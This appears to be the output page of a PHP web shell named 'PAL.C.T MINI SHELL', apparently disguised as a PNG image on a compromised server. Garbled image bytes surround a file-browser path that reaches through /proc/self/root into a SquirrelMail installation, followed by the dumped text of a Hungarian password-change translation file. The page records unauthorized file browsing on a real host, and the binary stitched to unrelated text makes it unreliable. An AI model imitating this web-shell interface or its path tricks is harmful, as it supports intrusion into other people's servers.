php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/hu_HU/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/hu_HU/LC_MESSAGES/change_pass.po

# Hungarian (hu_HU) change_pass Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Tamás Németh <nice@titanic.nyme.hu>, 2009.
# $Id: change_pass.po 13719 2009-05-18 12:02:52Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: change_pass 3.0\n"
"Report-Msgid-Bugs-To: Seth Randall <indiri69@users.sourceforge.net>\n"
"POT-Creation-Date: 2009-05-09 11:25-0600\n"
"PO-Revision-Date: 2009-05-14 09:10+0200\n"
"Last-Translator: Tamás Németh <nice@titanic.nyme.hu>\n"
"Language-Team: Hungarian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms:  nplurals=2; plural=(n != 1);\n"

#: functions.php:13 options.php:86
msgid "Change Password"
msgstr "Jelszóváltoztatás"

#: functions.php:35
#, php-format
msgid "Connection error: %s"
msgstr "Kapcsolódás közben a következő hiba történt: %s"

#: options.php:108
msgid "Current Password:"
msgstr "Jelenlegi jelszó:"

#: options.php:112
msgid "New Password:"
msgstr "Új jelszó:"

#: functions.php:56
msgid "Password change was not successful!"
msgstr "A jelszóváltoztatás nem sikerült."

#: functions.php:15
msgid "Use this to change your email password."
msgstr "Itt lehet megváltoztatni az ön levelezéshez használt jelszavát."

#: functions.php:138
msgid "User's Password"
msgstr "Felhasználói jelszó"

#: options.php:116
msgid "Verify New Password:"
msgstr "Új jelszó még egyszer:"

#: options.php:52
msgid "You must also type in your new password in the verify box."
msgstr "Az \"Új jelszó még egyszer\" mezőt ki kell tölteni!"

#: options.php:48
msgid "You must type in a new password."
msgstr "Az \"Új jelszó\" mezőt ki kell tölteni!"

#: options.php:44
msgid "You must type in your current password."
msgstr "A \"Jelenlegi jelszó\" mezőt ki kell tölteni!"

#: options.php:69
msgid "Your current password is not correct."
msgstr "Rosszul adta meg a jelenlegi jelszót!"

#: options.php:57
msgid "Your new password does not match the verify password."
msgstr "Az új jelszó két példánya nem egyezik!"

#: options.php:61
#, php-format
msgid "Your new password should be %s to %s characters long."
msgstr "Az új jelszónak legalább %s, legfeljebb %s karakteresnek kell lennie!"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`